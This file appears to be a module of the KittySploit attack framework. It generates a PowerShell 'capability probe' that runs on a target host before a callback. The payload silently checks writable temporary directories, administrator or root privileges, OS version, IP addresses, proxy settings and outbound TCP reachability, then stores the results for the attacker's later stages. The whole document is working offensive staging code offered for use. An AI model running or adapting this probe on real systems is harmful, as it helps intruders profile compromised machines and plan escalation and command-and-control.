Capability Probe (PowerShell)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from typing import Any, Dict
from kittysploit import *
class Module(Prestage):
PRESTAGE_ID = "capability_probe"
__info__ = {
"name": "Capability Probe (PowerShell)",
"description": (
"Detect OS, architecture, runtime, privileges, writable directory, "
"and network capabilities before callback"
),
"author": "KittySploit Team",
"version": "1.0.0",
"platform": Platform.MULTI,
"languages": ["powershell"],
"dependencies": [],
"tags": ["recon", "prestage", "offline", "powershell"],
}
def generate_powershell(self, context: Dict[str, Any] = None) -> str:
return """
$ErrorActionPreference='SilentlyContinue'
function _KittyProbeWritableDir {
$candidates=@()
if($env:TEMP){ $candidates += $env:TEMP }
if($env:TMP){ $candidates += $env:TMP }
try { $candidates += [IO.Path]::GetTempPath() } catch {}
try { $candidates += (Get-Location).Path } catch {}
if(-not $_kittyIsWindows){ $candidates += @('/tmp','/var/tmp','/dev/shm') }
$seen=@{}
foreach($path in $candidates){
if([string]::IsNullOrWhiteSpace($path) -or $seen.ContainsKey($path)){ continue }
$seen[$path]=$true
try {
[IO.Directory]::CreateDirectory($path)|Out-Null
$probe=[IO.Path]::Combine($path,'.kitty_probe')
[IO.File]::WriteAllText($probe,'ok')
Remove-Item $probe -Force -ErrorAction Stop
return $path
} catch {}
}
return ''
}
function _KittyProbePrivileges {
$info=@{ elevated=$false; user=''; uid=$null; gid=$null }
try {
if(-not $_kittyIsWindows){
$id=(id -u 2>$null)
if($id){ $info.uid=[int]$id; if($info.uid -eq 0){ $info.elevated=$true } }
$info.user=(whoami 2>$null)
} else {
$info.user=$env:USERNAME
if(-not $info.user){ $info.user=(whoami 2>$null) }
try {
$wp=New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
$info.elevated=$wp.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
} catch {}
}
} catch {}
return $info
}
function _KittyProbeNetwork {
$net=@{ socket=$false; dns=$false; tcp_outbound=$false; hostname=''; ips=@(); proxy=@{} }
try { $net.hostname=[System.Net.Dns]::GetHostName() } catch {}
try {
$rows=[System.Net.Dns]::GetHostAddresses($net.hostname)
$net.ips=@($rows | ForEach-Object { $_.IPAddressToString } | Sort-Object -Unique)
$net.dns=$true
} catch {
try {
$net.ips=@([System.Net.IPAddress]::Loopback.ToString())
} catch {}
}
try {
$client=New-Object System.Net.Sockets.TcpClient
$iar=$client.BeginConnect('127.0.0.1',1,$null,$null)
if($iar.AsyncWaitHandle.WaitOne(1000,$false)){
try { $client.EndConnect($iar)|Out-Null } catch {}
}
$net.socket=$true
$net.tcp_outbound=$true
$client.Close()
} catch {
$net.socket=$true
if($_.Exception.Message -match 'refused|unreachable|actively|timeout'){
$net.tcp_outbound=$true
}
}
foreach($key in @('HTTP_PROXY','HTTPS_PROXY','ALL_PROXY','NO_PROXY')){
$val=[Environment]::GetEnvironmentVariable($key)
if($val){ $net.proxy[$key.ToLower()]=$val }
}
return $net
}
$_kittyIsWindows=($env:OS -eq 'Windows_NT')
if($PSVersionTable.PSVersion.Major -ge 6){
if($IsLinux){ $_kittyIsWindows=$false; $_kittyOsName='Linux' }
elseif($IsMacOS){ $_kittyIsWindows=$false; $_kittyOsName='Darwin' }
elseif($IsWindows){ $_kittyIsWindows=$true; $_kittyOsName='Windows' }
}
if(-not $_kittyOsName){
if($_kittyIsWindows){ $_kittyOsName='Windows' } else { $_kittyOsName='Unix' }
}
$_kittyOsRelease=''
$_kittyOsVersion=''
if($_kittyIsWindows){
$_kittyWinOs=Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue
if($_kittyWinOs){
$_kittyOsRelease=[string]$_kittyWinOs.Version
$_kittyOsVersion=[string]$_kittyWinOs.Caption
}
} else {
try {
if(Test-Path '/etc/os-release'){
$_kittyOsRelease=((Get-Content '/etc/os-release' | Where-Object { $_ -match '^VERSION_ID=' }) -replace '^VERSION_ID=','' -replace '"','')
$_kittyOsVersion=((Get-Content '/etc/os-release' | Where-Object { $_ -match '^PRETTY_NAME=' }) -replace '^PRETTY_NAME=','' -replace '"','')
}
} catch {}
if(-not $_kittyOsRelease){ $_kittyOsRelease=(uname -r 2>$null) }
}
$global:_kitty_capability_probe=@{
os=@{
name=$_kittyOsName
release=$_kittyOsRelease
version=$_kittyOsVersion
}
arch=$env:PROCESSOR_ARCHITECTURE
runtime=@{
language='powershell'
version=$PSVersionTable.PSVersion.ToString()
edition=$PSVersionTable.PSEdition
executable=$PSHOME
}
privileges=_KittyProbePrivileges
writable_dir=_KittyProbeWritableDir
network=_KittyProbeNetwork
}
""".strip()
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